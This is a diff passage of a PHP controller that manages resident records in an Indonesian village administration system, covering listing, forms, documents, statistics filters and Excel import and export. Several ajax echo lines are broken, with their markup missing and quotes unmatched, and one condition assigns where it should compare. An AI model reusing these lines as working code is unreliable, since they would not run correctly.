$this->wilayah_model->list_rw($dusun); + + if (isset($rw)) { + $data['rw'] = $rw; + $data['list_rt'] = $this->wilayah_model->list_rt($dusun, $rw); + + if (isset($rt)) { + $data['rt'] = $rt; + } else { + $data['rt'] = ''; + } + } else { + $data['rw'] = ''; + } + } else { + $data['dusun'] = $data['rw'] = $data['rt'] = ''; + } + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['func'] = 'index'; + $this->header['kategori'] = 'data_lengkap'; + $data['set_page'] = $this->_set_page; + $list_data = $this->penduduk_model->list_data($o, $p); + $data['paging'] = $list_data['paging']; + $data['main'] = $list_data['main']; + $data['list_dusun'] = $this->wilayah_model->list_dusun(); + $data['list_status_dasar'] = $this->referensi_model->list_data('tweb_status_dasar'); + $data['list_status_penduduk'] = $this->referensi_model->list_data('tweb_penduduk_status'); + $data['list_jenis_kelamin'] = $this->referensi_model->list_data('tweb_penduduk_sex'); + $data['pesan_hapus'] = 'Hanya lakukan hapus penduduk hanya jika ada kesalahan saat pengisian data atau penduduk tersebut tidak akan ditambahkan kembali. Apakah Anda yakin ingin menghapus data ini?'; + $data['akses'] = UserGrup::getGrupId(UserGrup::ADMINISTRATOR); + + $this->render('sid/kependudukan/penduduk', $data); + } + + public function ambil_foto() + { + $foto = $this->input->get('foto'); + $sex = $this->input->get('sex'); + if (empty($foto) || ! file_exists(FCPATH . LOKASI_USER_PICT . $foto)) { + $foto = ($sex == 1) ? 'kuser.png' : 'wuser.png'; + ambilBerkas($foto, $this->controller, null, 'assets/images/pengguna/', $tampil = true); + } else { + ambilBerkas($foto, $this->controller, null, LOKASI_USER_PICT, $tampil = true); + } + } + + public function form_peristiwa($peristiwa = '') + { + $this->redirect_hak_akses('u'); + // Acuan jenis peristiwa berada pada ref_peristiwa + $this->session->jenis_peristiwa = $peristiwa; + $this->form(); + } + + public function form($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + // Reset kalau dipanggil dari luar pertama kali ($_POST kosong) + if (empty($_POST) && (! isset($_SESSION['dari_internal']) || ! $_SESSION['dari_internal'])) { + unset($_SESSION['validation_error']); + } + + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['id'] = $id; + // Validasi dilakukan di penduduk_model sewaktu insert dan update + if (isset($_SESSION['validation_error']) && $_SESSION['validation_error']) { + // Kalau dipanggil internal pakai data yang disimpan di $_SESSION + if ($_SESSION['dari_internal']) { + $data['penduduk'] = $_SESSION['post']; + } else { + $data['penduduk'] = $_POST; + } + } else { + $data['penduduk'] = $this->penduduk_model->get_penduduk($id); + $_SESSION['nik_lama'] = $data['penduduk']['nik']; + } + $data['form_action'] = site_url("{$this->controller}/update/1/{$o}/{$id}"); + } else { + // Validasi dilakukan di penduduk_model sewaktu insert dan update + if (isset($_SESSION['validation_error']) && $_SESSION['validation_error']) { + // Kalau dipanggil internal pakai data yang disimpan di $_SESSION + if ($_SESSION['dari_internal']) { + $data['penduduk'] = $_SESSION['post']; + } else { + $data['penduduk'] = $_POST; + } + } else { + $data['penduduk'] = null; + } + $data['form_action'] = site_url("{$this->controller}/insert"); + } + + $data['dusun'] = $this->wilayah_model->list_dusun(); + $data['rw'] = $this->wilayah_model->list_rw($data['penduduk']['dusun']); + $data['rt'] = $this->wilayah_model->list_rt($data['penduduk']['dusun'], $data['penduduk']['rw']); + $data['agama'] = $this->referensi_model->list_data('tweb_penduduk_agama'); + $data['pendidikan_sedang'] = $this->penduduk_model->list_pendidikan_sedang(); + $data['pendidikan_kk'] = $this->penduduk_model->list_pendidikan_kk(); + $data['pekerjaan'] = $this->penduduk_model->list_pekerjaan(); + $data['warganegara'] = $this->penduduk_model->list_warganegara(); + $data['hubungan'] = $this->penduduk_model->list_hubungan(); + $data['kawin'] = $this->penduduk_model->list_status_kawin(); + $data['golongan_darah'] = $this->penduduk_model->list_golongan_darah(); + $data['bahasa'] = $this->referensi_model->list_data('ref_penduduk_bahasa'); + $data['cacat'] = $this->penduduk_model->list_cacat(); + $data['sakit_menahun'] = $this->referensi_model->list_data('tweb_sakit_menahun'); + $data['cara_kb'] = $this->penduduk_model->list_cara_kb($data['penduduk']['id_sex']); + $data['ktp_el'] = $this->referensi_model->list_ktp_el(); + $data['status_rekam'] = $this->referensi_model->list_status_rekam(); + $data['tempat_dilahirkan'] = $this->referensi_model->list_ref_flip(TEMPAT_DILAHIRKAN); + $data['jenis_kelahiran'] = $this->referensi_model->list_ref_flip(JENIS_KELAHIRAN); + $data['penolong_kelahiran'] = $this->referensi_model->list_ref_flip(PENOLONG_KELAHIRAN); + $data['pilihan_asuransi'] = $this->referensi_model->list_data('tweb_penduduk_asuransi'); + $data['kehamilan'] = $this->referensi_model->list_data('ref_penduduk_hamil'); + $data['suku'] = $this->penduduk_model->get_suku(); + $data['nik_sementara'] = $this->penduduk_model->nik_sementara(); + $data['keluarga'] = $this->keluarga_model->get_kepala_kk($data['penduduk']['id_kk']); + $data['cek_nik'] = get_nik($data['penduduk']['nik']); + + if ($this->session->status_hanya_tetap) { + $data['status_penduduk'] = $this->referensi_model->list_data('tweb_penduduk_status', $this->session->status_hanya_tetap); + } else { + $data['status_penduduk'] = $this->referensi_model->list_data('tweb_penduduk_status'); + } + $data['jenis_peristiwa'] = $this->session->jenis_peristiwa; + + $this->session->unset_userdata(['dari_internal']); + + $this->render('sid/kependudukan/penduduk_form', $data); + } + + public function detail($p = 1, $o = 0, $id = 0) + { + $data['p'] = $p; + $data['o'] = $o; + $data['list_dokumen'] = $this->penduduk_model->list_dokumen($id); + $data['penduduk'] = $this->penduduk_model->get_penduduk($id) ?? show_404(); + $data['program'] = $this->program_bantuan_model->get_peserta_program(1, $data['penduduk']['nik']); + $this->render('sid/kependudukan/penduduk_detail', $data); + } + + public function dokumen($id = '') + { + $this->render('sid/kependudukan/penduduk_dokumen', [ + 'penduduk' => PendudukModel::select('id', 'nik', 'nama', 'id_cluster')->with(['dokumen'])->find($id) ?? show_404(), + ]); + } + + public function dokumen_form($id = 0, $id_dokumen = 0) + { + $this->redirect_hak_akses('u'); + $data['penduduk'] = $this->penduduk_model->get_penduduk($id) ?? show_404(); + $data['jenis_syarat_surat'] = SyaratSurat::get(); + + if ($data['penduduk']['kk_level'] === '1') { //Jika Kepala Keluarga + $data['kk'] = $this->keluarga_model->list_anggota($data['penduduk']['id_kk']); + } + + if ($id_dokumen) { + $data['dokumen'] = $this->web_dokumen_model->get_dokumen($id_dokumen); + + // Ambil data anggota KK + if ($data['penduduk']['kk_level'] === '1') { //Jika Kepala Keluarga + $data['dokumen_anggota'] = $this->web_dokumen_model->get_dokumen_di_anggota_lain($id_dokumen); + + if (count($data['dokumen_anggota']) > 0) { + $id_pend_anggota = []; + + foreach ($data['dokumen_anggota'] as $item_dokumen) { + $id_pend_anggota[] = $item_dokumen['id_pend']; + } + + foreach ($data['kk'] as $key => $value) { + if (in_array($value['id'], $id_pend_anggota)) { + $data['kk'][$key]['checked'] = 'checked'; + } + } + } + } + + $data['form_action'] = site_url("{$this->controller}/dokumen_update/{$id_dokumen}"); + } else { + $data['dokumen'] = null; + $data['form_action'] = site_url("{$this->controller}/dokumen_insert"); + } + + $this->load->view('sid/kependudukan/dokumen_form', $data); + } + + public function dokumen_list($id = 0) + { + $data['list_dokumen'] = $this->penduduk_model->list_dokumen($id); + $data['penduduk'] = $this->penduduk_model->get_penduduk($id); + + $this->load->view('sid/kependudukan/dokumen_ajax', $data); + } + + public function dokumen_insert() + { + $this->redirect_hak_akses('u'); + $this->web_dokumen_model->insert(); + $id = $_POST['id_pend']; + + redirect("{$this->controller}/dokumen/{$id}"); + } + + public function dokumen_update($id = '') + { + $this->redirect_hak_akses('u'); + $this->web_dokumen_model->update($id); + $id = $_POST['id_pend']; + + redirect("{$this->controller}/dokumen/{$id}"); + } + + public function delete_dokumen($id_pend = 0, $id = '') + { + $this->redirect_hak_akses('h', "penduduk/dokumen/{$id_pend}"); + $this->web_dokumen_model->delete($id); + + redirect("{$this->controller}/dokumen/{$id_pend}"); + } + + public function delete_all_dokumen($id_pend = 0) + { + $this->redirect_hak_akses('h', "penduduk/dokumen/{$id_pend}"); + $this->web_dokumen_model->delete_all(); + + redirect("{$this->controller}/dokumen/{$id_pend}"); + } + + public function cetak_biodata($id = '') + { + $data['desa'] = $this->header['desa']; + $data['penduduk'] = $this->penduduk_model->get_penduduk($id); + $this->load->view('sid/kependudukan/cetak_biodata', $data); + } + + public function filter($filter) + { + if ($filter == 'dusun') { + $this->session->unset_userdata(['rw', 'rt']); + } + if ($filter == 'rw') { + $this->session->unset_userdata('rt'); + } + + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + redirect($this->controller); + } + + public function nik_sementara() + { + $this->session->nik_sementara = '0'; + + redirect($this->controller); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + $id = $this->penduduk_model->insert(); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + if ($_SESSION['success'] == -1) { + $_SESSION['dari_internal'] = true; + redirect("{$this->controller}/form"); + } else { + redirect("{$this->controller}/detail/1/0/{$id}"); + } + } + + public function update($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $this->penduduk_model->update($id); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + if ($_SESSION['success'] == -1) { + $_SESSION['dari_internal'] = true; + redirect("{$this->controller}/form/{$p}/{$o}/{$id}"); + } else { + redirect("{$this->controller}/detail/1/0/{$id}"); + } + } + + public function delete($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h'); + if (data_lengkap()) { + session_error('error', 'Data tidak dapat proses karena sudah dinyatakan lengkap'); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + $this->penduduk_model->delete($id); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h'); + + if (data_lengkap()) { + session_error('error', 'Data tidak dapat proses karena sudah dinyatakan lengkap'); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + $this->penduduk_model->delete_all(); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function ajax_adv_search() + { + $list_session = ['umur', 'umur_min', 'umur_max', 'pekerjaan_id', 'status', 'agama', 'pendidikan_sedang_id', 'pendidikan_kk_id', 'status_penduduk', 'sex', 'status_dasar', 'cacat', 'cara_kb_id', 'status_ktp', 'id_asuransi', 'warganegara', 'golongan_darah', 'hamil', 'menahun', 'tag_id_card']; + + foreach ($list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + $data['input_umur'] = true; + $data['list_agama'] = $this->referensi_model->list_data('tweb_penduduk_agama'); + $data['list_pendidikan'] = $this->referensi_model->list_data('tweb_penduduk_pendidikan'); + $data['list_pendidikan_kk'] = $this->referensi_model->list_data('tweb_penduduk_pendidikan_kk'); + $data['list_pekerjaan'] = $this->referensi_model->list_data('tweb_penduduk_pekerjaan'); + $data['list_status_kawin'] = $this->referensi_model->list_data('tweb_penduduk_kawin'); + $data['list_status_penduduk'] = $this->referensi_model->list_data('tweb_penduduk_status'); + $data['list_sex'] = $this->referensi_model->list_data('tweb_penduduk_sex'); + $data['list_status_dasar'] = $this->referensi_model->list_data('tweb_status_dasar'); + $data['list_cacat'] = $this->referensi_model->list_data('tweb_cacat'); + $data['list_cara_kb'] = $this->referensi_model->list_data('tweb_cara_kb'); + $data['list_status_ktp'] = $this->referensi_model->list_data('tweb_status_ktp'); + $data['list_asuransi'] = $this->referensi_model->list_data('tweb_penduduk_asuransi'); + $data['list_warganegara'] = $this->referensi_model->list_data('tweb_penduduk_warganegara'); + $data['list_golongan_darah'] = $this->referensi_model->list_data('tweb_golongan_darah'); + $data['list_sakit_menahun'] = $this->referensi_model->list_data('tweb_sakit_menahun'); + $data['list_tag_id_card'] = StatusEnum::all(); + $data['form_action'] = site_url("{$this->controller}/adv_search_proses"); + + $this->load->view('sid/kependudukan/ajax_adv_search_form', $data); + } + + public function adv_search_proses() + { + $this->clear_session(); + $adv_search = $this->validasi_pencarian($this->input->post()); + + $i = 0; + + while ($i++ < count($adv_search)) { + $col[$i] = key($adv_search); + next($adv_search); + } + $i = 0; + + while ($i++ < count($col)) { + if ($adv_search[$col[$i]] == '') { + unset($adv_search[$col[$i]], $_SESSION[$col[$i]]); + } else { + $_SESSION[$col[$i]] = $adv_search[$col[$i]]; + } + } + + redirect($this->controller); + } + + private function validasi_pencarian($post) + { + $data['umur'] = $post['umur']; + $data['umur_min'] = bilangan($post['umur_min']); + $data['umur_max'] = bilangan($post['umur_max']); + $data['pekerjaan_id'] = $post['pekerjaan_id']; + $data['status'] = $post['status']; + $data['agama'] = $post['agama']; + $data['pendidikan_sedang_id'] = $post['pendidikan_sedang_id']; + $data['pendidikan_kk_id'] = $post['pendidikan_kk_id']; + $data['status_penduduk'] = $post['status_penduduk']; + $data['filter'] = $post['status_penduduk']; + $data['sex'] = $post['sex']; + $data['status_dasar'] = $post['status_dasar']; + $data['cara_kb_id'] = $post['cara_kb_id']; + $data['status_ktp'] = $post['status_ktp']; + $data['id_asuransi'] = $post['id_asuransi']; + $data['warganegara'] = $post['warganegara']; + $data['golongan_darah'] = $post['golongan_darah']; + $data['menahun'] = $post['menahun']; + $data['cacat'] = $post['cacat']; + $data['tag_id_card'] = $post['tag_id_card']; + + return $data; + } + + public function ajax_penduduk_pindah_rw($dusun = '') + { + $dusun = urldecode($dusun); + $rw = $this->wilayah_model->list_rw($dusun); + echo "
+
'; + } + + public function ajax_penduduk_pindah_rt($dusun = '', $rw = '') + { + $dusun = urldecode($dusun); + $rt = $this->wilayah_model->list_rt($dusun, $rw); + echo "
+
'; + } + + public function ajax_penduduk_cari_rw($dusun = '') + { + $rw = $this->wilayah_model->list_rw($dusun); + + echo "RW + + '; + } + + public function ajax_penduduk_maps($p = 1, $o = 0, $id = null, $edit = 1) + { + $this->redirect_hak_akses('u'); + + $data['p'] = $p; + $data['o'] = $o; + $data['id'] = $id; + $data['edit'] = $edit; + + $data['penduduk'] = $this->penduduk_model->get_penduduk_map($id); + $data['desa'] = $this->header['desa']; + $data['wil_atas'] = $this->header['desa']; + $data['dusun_gis'] = $this->wilayah_model->list_dusun(); + $data['rw_gis'] = $this->wilayah_model->list_rw(); + $data['rt_gis'] = $this->wilayah_model->list_rt(); + $data['form_action'] = site_url("{$this->controller}/update_maps/{$p}/{$o}/{$id}/{$data['edit']}"); + + $this->render('sid/kependudukan/ajax_penduduk_maps', $data); + } + + public function update_maps($p = 1, $o = 0, $id = '', $edit = '') + { + $this->redirect_hak_akses('u'); + + $this->penduduk_model->update_position($id); + if ($edit == 1) { + redirect("{$this->controller}/form/{$p}/{$o}/{$id}"); + } else { + redirect($this->controller); + } + } + + public function edit_status_dasar($p = 1, $o = 0, $id = 0) + { + $this->redirect_hak_akses('u'); + $data['nik'] = $this->penduduk_model->get_penduduk($id); + $data['form_action'] = site_url("{$this->controller}/update_status_dasar/{$p}/{$o}/{$id}"); + $data['list_ref_pindah'] = $this->referensi_model->list_data('ref_pindah'); + $data['sebab'] = $this->referensi_model->list_ref(SEBAB); + $data['penolong_mati'] = $this->referensi_model->list_ref(PENOLONG_MATI); + + //Pengecualian status dasar: Penduduk Tetap => ('TIDAK VALID', 'HIDUP', 'PERGI') , Penduduk Tidak Tetap => ('TIDAK VALID', 'HIDUP') + $excluded_status = $data['nik']['id_status'] == 1 ? '9, 1, 6' : '9, 1'; + $data['list_status_dasar'] = $this->referensi_model->list_data('tweb_status_dasar', $excluded_status); + + $this->load->view('sid/kependudukan/ajax_edit_status_dasar', $data); + } + + public function update_status_dasar($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $this->penduduk_model->update_status_dasar($id); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function kembalikan_status($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $this->penduduk_model->kembalikan_status($id); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + + redirect("{$this->controller}/index/{$p}/{$o}"); + } + + public function cetak($page = 1, $o = 0, $aksi = '', $privasi_nik = 0) + { + $data['main'] = $this->penduduk_model->list_data($o, $page)['main']; + + if ($privasi_nik == 1) { + $data['privasi_nik'] = true; + } + + $this->load->view("sid/kependudukan/penduduk_{$aksi}", $data); + } + + public function statistik($tipe = '0', $nomor = 0, $sex = null) + { + $this->clear_session(); + // Set filter statistik + $filter_global = $this->session->filter_global; + + $this->session->dusun = $filter_global['dusun']; + $this->session->rw = $filter_global['rw']; + $this->session->rt = $filter_global['rt']; + + // Untuk tautan TOTAL di laporan statistik, di mana arg-2 = sex dan arg-3 kosong + // kecuali untuk laporan wajib KTP + if ($sex == null && $tipe != 18) { + if ($nomor != 0) { + $this->session->sex = $nomor; + } else { + $this->session->unset_userdata('sex'); + } + $this->session->unset_userdata('judul_statistik'); + redirect($this->controller); + } + + $this->session->unset_userdata('program_bantuan'); + $this->session->sex = ($sex == 0) ? null : $sex; + + switch ($tipe) { + case '0': + $session = 'pendidikan_kk_id'; + $kategori = 'PENDIDIKAN DALAM KK : '; + break; + + case 1: + $session = 'pekerjaan_id'; + $kategori = 'PEKERJAAN : '; + break; + + case 2: + $session = 'status'; + $kategori = 'STATUS PERKAWINAN : '; + break; + + case 3: + $session = 'agama'; + $kategori = 'AGAMA : '; + break; + + case 4: + $session = 'sex'; + $kategori = 'JENIS KELAMIN : '; + break; + + case 5: + $session = 'warganegara'; + $kategori = 'WARGANEGARA : '; + break; + + case 6: + $session = 'status_penduduk'; + $kategori = 'STATUS PENDUDUK : '; + break; + + case 7: + $session = 'golongan_darah'; + $kategori = 'GOLONGAN DARAH : '; + break; + + case 9: + $session = 'cacat'; + $kategori = 'CACAT : '; + break; + + case 10: + $session = 'menahun'; + $kategori = 'SAKIT MENAHUN : '; + break; + + case 13: + $session = 'umurx'; + $kategori = 'UMUR (RENTANG) : '; + break; + + case 14: + $session = 'pendidikan_sedang_id'; + $kategori = 'PENDIDIKAN SEDANG DITEMPUH : '; + break; + + case 15: + $session = 'umurx'; + $kategori = 'UMUR (KATEGORI) : '; + break; + + case 16: + $session = 'cara_kb_id'; + $kategori = 'CARA KB : '; + break; + + case 17: + $session = 'akta_kelahiran'; + $kategori = 'AKTA KELAHIRAN : UMUR '; + break; + + case 19: + $session = 'id_asuransi'; + $kategori = 'ASURANSI KESEHATAN : '; + break; + + case 'bpjs-tenagakerja': + $session = ($nomor == BELUM_MENGISI || $nomor == JUMLAH) ? 'bpjs_ketenagakerjaan' : 'pekerjaan_id'; + $kategori = 'BPJS Ketenagakerjaan : '; + $this->session->bpjs_ketenagakerjaan = ($nomor == TOTAL) ? false : true; + break; + + case 'hubungan_kk': + $session = 'hubungan'; + $kategori = 'HUBUNGAN DALAM KK : '; + break; + + case 'covid': + $session = 'status_covid'; + $kategori = 'STATUS COVID : '; + break; + + case 'bantuan_penduduk': + if (! in_array($nomor, [BELUM_MENGISI, TOTAL])) { + $this->session->status_dasar = null; + } // tampilkan semua peserta walaupun bukan hidup/aktif + $session = 'bantuan_penduduk'; + $kategori = 'PENERIMA BANTUAN PENDUDUK : '; + break; + + case 18: + if ($sex == null) { + $this->session->status_ktp = 0; + $this->session->sex = ($nomor == 0) ? null : $nomor; + $sex = $this->session->sex; + unset($nomor); + } else { + $this->session->status_ktp = $nomor; + } + + $kategori = 'KEPEMILIKAN WAJIB KTP : '; + break; + + case 'suku': + $session = 'suku'; + $kategori = 'Suku: '; + break; + + case 'hamil': + $session = 'hamil'; + $kategori = 'STATUS KEHAMILAN : '; + break; + + case $tipe > 50: + $program_id = preg_replace('/^50/', '', $tipe); + $this->session->program_bantuan = $program_id; + + // TODO: Sederhanakan query ini, pindahkan ke model + $nama = $this->db + ->select('nama') + ->where('config_id', identitas('id')) + ->where('id', $program_id) + ->get('program') + ->row() + ->nama; + + if (! in_array($nomor, [BELUM_MENGISI, TOTAL])) { + $this->session->status_dasar = null; // tampilkan semua peserta walaupun bukan hidup/aktif + $nomor = $program_id; + } + $kategori = $nama . ' : '; + $session = 'bantuan_penduduk'; + $tipe = 'bantuan_penduduk'; + break; + } + + // Filter berdasarkan kategori tdk dilakukan jika $nomer = TOTAL (888) + if ($tipe != 18 && $nomor != TOTAL) { + $this->session->{$session} = rawurldecode($nomor); + } + + $judul = $this->penduduk_model->get_judul_statistik($tipe, $nomor, $sex); + // Laporan wajib KTP berbeda - menampilkan sebagian dari penduduk, jadi selalu perlu judul + if ($judul['nama'] || $tipe = 18) { + $this->session->judul_statistik = $kategori . $judul['nama']; + } else { + $this->session->unset_userdata('judul_statistik'); + } + + redirect($this->controller); + } + + public function lap_statistik($id_cluster = 0, $tipe = 0, $nomor = 0) + { + $this->clear_session(); + $cluster = $this->penduduk_model->get_cluster($id_cluster); + + switch ($tipe) { + case 1: + $_SESSION['sex'] = '1'; + $_SESSION['dusun'] = $cluster['dusun']; + $_SESSION['rw'] = $cluster['rw']; + $_SESSION['rt'] = $cluster['rt']; + $pre = 'JENIS KELAMIN LAKI-LAKI '; + break; + + case 2: + $_SESSION['sex'] = '2'; + $_SESSION['dusun'] = $cluster['dusun']; + $_SESSION['rw'] = $cluster['rw']; + $_SESSION['rt'] = $cluster['rt']; + $pre = 'JENIS KELAMIN PEREMPUAN '; + break; + + case 3: + $_SESSION['umur_min'] = '0'; + $_SESSION['umur_max'] = '0'; + $_SESSION['dusun'] = $cluster['dusun']; + $_SESSION['rw'] = $cluster['rw']; + $_SESSION['rt'] = $cluster['rt']; + $pre = 'BERUMUR <1 '; + break; + + case 4: + $_SESSION['umur_min'] = '1'; + $_SESSION['umur_max'] = '5'; + $_SESSION['dusun'] = $cluster['dusun']; + $_SESSION['rw'] = $cluster['rw']; + $_SESSION['rt'] = $cluster['rt']; + $pre = 'BERUMUR 1-5 '; + break; + + case 5: + $_SESSION['umur_min'] = '6'; + $_SESSION['umur_max'] = '12'; + $_SESSION['dusun'] = $cluster['dusun']; + $_SESSION['rw'] = $cluster['rw']; + $_SESSION['rt'] = $cluster['rt']; + $pre = 'BERUMUR 6-12 '; + break; + + case 6: + $_SESSION['umur_min'] = '13'; + $_SESSION['umur_max'] = '15'; + $_SESSION['dusun'] = $cluster['dusun']; + $_SESSION['rw'] = $cluster['rw']; + $_SESSION['rt'] = $cluster['rt']; + $pre = 'BERUMUR 13-16 '; + break; + + case 7: + $_SESSION['umur_min'] = '16'; + $_SESSION['umur_max'] = '18'; + $_SESSION['dusun'] = $cluster['dusun']; + $_SESSION['rw'] = $cluster['rw']; + $_SESSION['rt'] = $cluster['rt']; + $pre = 'BERUMUR 16-18 '; + break; + + case 8: + $_SESSION['umur_min'] = '61'; + $_SESSION['dusun'] = $cluster['dusun']; + $_SESSION['rw'] = $cluster['rw']; + $_SESSION['rt'] = $cluster['rt']; + $pre = 'BERUMUR >60'; + break; + + case 91: + case 92: + case 93: + case 94: + case 95: + case 96: + case 97: + $kode_cacat = $tipe - 90; + $_SESSION['cacat'] = $kode_cacat; + $_SESSION['dusun'] = $cluster['dusun']; + $_SESSION['rw'] = $cluster['rw']; + $_SESSION['rt'] = $cluster['rt']; + $stat = $this->penduduk_model->get_judul_statistik(9, $kode_cacat, null); + $pre = $stat['nama']; + break; + + case 10: + $_SESSION['menahun'] = '90'; + $_SESSION['sex'] = '1'; + $_SESSION['dusun'] = $cluster['dusun']; + $_SESSION['rw'] = $cluster['rw']; + $_SESSION['rt'] = $cluster['rt']; + $pre = 'SAKIT MENAHUN LAKI-LAKI '; + break; + + case 11: + $_SESSION['menahun'] = '90'; + $_SESSION['sex'] = '2'; + $_SESSION['dusun'] = $cluster['dusun']; + $_SESSION['rw'] = $cluster['rw']; + $_SESSION['rt'] = $cluster['rt']; + $pre = 'SAKIT MENAHUN PEREMPUAN '; + break; + + case 12: + $_SESSION['hamil'] = '1'; + $_SESSION['dusun'] = $cluster['dusun']; + $_SESSION['rw'] = $cluster['rw']; + $_SESSION['rt'] = $cluster['rt']; + $pre = 'HAMIL '; + break; + } + + if ($pre) { + $_SESSION['judul_statistik'] = $pre; + } else { + unset($_SESSION['judul_statistik']); + } + + redirect($this->controller); + } + + public function autocomplete() + { + return json($this->penduduk_model->autocomplete($this->input->post('cari'))); + } + + public function search_kumpulan_nik() + { + $data['kumpulan_nik'] = $this->session->kumpulan_nik; + $data['form_action'] = site_url("{$this->controller}/filter/kumpulan_nik"); + + $this->load->view('sid/kependudukan/ajax_search_kumpulan_nik', $data); + } + + public function ajax_cetak($page = 1, $o = 0, $aksi = '') + { + $data['o'] = $o; + $data['aksi'] = $aksi; + $data['form_action'] = site_url("{$this->controller}/cetak/{$page}/{$o}/{$aksi}?id_cb={$this->input->get('id_cb')}"); + $data['form_action_privasi'] = site_url("{$this->controller}/cetak/{$page}/{$o}/{$aksi}/1?id_cb={$this->input->get('id_cb')}"); + + $this->load->view('sid/kependudukan/ajax_cetak_bersama', $data); + } + + public function program_bantuan() + { + // TODO : Ubah cara ini untuk menampilkan data + $this->session->sasaran = 1; // sasaran penduduk + $this->session->per_page = 100000; // tampilkan semua program bantuan + $list_bantuan = $this->program_bantuan_model->get_program(1, false); + + $data = [ + 'form_action' => site_url("{$this->controller}/program_bantuan_proses"), + 'program_bantuan' => $list_bantuan['program'], + 'id_program' => $this->session->bantuan_penduduk, + ]; + + $this->load->view('sid/kependudukan/pencarian_program_bantuan', $data); + } + + public function program_bantuan_proses() + { + $id_program = $this->input->post('program_bantuan'); + + if ($id_program == JUMLAH) { + $id_program = JUMLAH; + } elseif ($id_program == BELUM_MENGISI) { + $id_program = BELUM_MENGISI; + } + + $this->statistik('bantuan_penduduk', $id_program, '0'); + } + + /** + * Unduh berkas berdasarkan kolom dokumen.id + * + * @param int $id_dokumen Id berkas pada koloam dokumen.id + * @param mixed $tampil + * + * @return void + */ + public function unduh_berkas($id_dokumen = 0, $tampil = false) + { + // Ambil nama berkas dari database + $data = $this->web_dokumen_model->get_dokumen($id_dokumen); + ambilBerkas($data['satuan'], $this->controller, null, LOKASI_DOKUMEN, $tampil); + } + + public function impor() + { + if (config_item('demo_mode')) { + redirect($this->controller); + } + + $this->redirect_hak_akses('u', '', '', true); + + $data = [ + 'form_action' => route('penduduk.proses_impor'), + 'boleh_hapus_penduduk' => $this->impor_model->boleh_hapus_penduduk(), + ]; + + return view('admin.penduduk.impor', $data); + } + + public function proses_impor() + { + if (config_item('demo_mode')) { + redirect($this->controller); + } + + $this->redirect_hak_akses('u', '', '', true); + $hapus = isset($_POST['hapus_data']); + $this->impor_model->impor_excel($hapus); + $this->cache->hapus_cache_untuk_semua('_wilayah'); + redirect('penduduk/impor'); + } + + public function impor_bip() + { + if (config_item('demo_mode') || setting('multi_desa')) { + redirect($this->controller); + } + + $this->redirect_hak_akses('u', '', '', true); + + $data = [ + 'form_action' => route('penduduk.proses_impor_bip'), + 'boleh_hapus_penduduk' => $this->impor_model->boleh_hapus_penduduk(), + ]; + + return view('admin.penduduk.impor_bip', $data); + } + + public function proses_impor_bip() + { + if (config_item('demo_mode') || setting('multi_desa')) { + redirect($this->controller); + } + + $this->redirect_hak_akses('u', '', '', true); + + // TODO: Sederhanakan query ini, pindahkan ke model + if ($this->db->where('config_id', identitas('id'))->get('tweb_penduduk')->num_rows() > 0) { + redirect_with('error', 'Tidak dapat mengimpor BIP ketika data penduduk telah ada', 'penduduk/impor_bip'); + } + + $this->impor_model->impor_bip($this->input->post('hapus_data')); + redirect('penduduk/impor_bip'); + } + + public function ekspor() + { + try { + $daftar_kolom = $this->impor_model->daftar_kolom; + + $writer = WriterEntityFactory::createXLSXWriter(); + $writer->openToBrowser(namafile('penduduk') . '.xlsx'); + $writer->addRow(WriterEntityFactory::createRowFromArray($daftar_kolom)); + + //Isi Tabel + $get = $this->ekspor_model->expor(); + + foreach ($get as $row) { + $penduduk = []; + + foreach ($daftar_kolom as $kolom) { + $penduduk[] = $row->{$kolom}; + } + + $writer->addRow(WriterEntityFactory::createRowFromArray($penduduk)); + } + $writer->close(); + } catch (\Exception $e) { + log_message('error', $e); + + $this->session->set_flashdata('notif', 'Tidak berhasil mengekspor data penduduk, harap mencoba kembali.'); + + redirect('penduduk'); + } + } + + public function foto_bawaan($id) + { + // TODO: Sederhanakan query ini, pindahkan ke model + $penduduk = $this->db->where('config_id', identitas('id'))->get_where('tweb_penduduk', ['id' => $id])->row(); + + if (empty($penduduk)) { + return redirect('penduduk'); + } + + // TODO: Sederhanakan query ini, pindahkan ke model + $this->db->where('config_id', identitas('id'))->where('id', $penduduk->id)->set('foto', null)->update('tweb_penduduk'); + + // Hapus file foto penduduk yg di hapus di folder desa/upload/user_pict + $file_foto = LOKASI_USER_PICT . $penduduk->foto; + if (is_file($file_foto)) { + unlink($file_foto); + } + + // Hapus file foto kecil penduduk yg di hapus di folder desa/upload/user_pict + $file_foto_kecil = LOKASI_USER_PICT . 'kecil_' . $penduduk->foto; + if (is_file($file_foto_kecil)) { + unlink($file_foto_kecil); + } + + redirect("penduduk/form/1/0/{$penduduk->id}"); + } +} diff --git a/donjo-app/controllers/Penduduk_log.php b/donjo-app/controllers/Penduduk_log.php index f99705fa2..3dbe9ecc4 100644 --- a/donjo-app/controllers/Penduduk_log.php +++ b/donjo-app/controllers/Penduduk_log.php @@ -1,513 +1,262 @@ -load->model(['penduduk_model', 'penduduk_log_model']); + $this->modul_ini = 'kependudukan'; + $this->sub_modul_ini = 'penduduk'; + $this->set_page = ['20', '50', '100']; + $this->list_session = 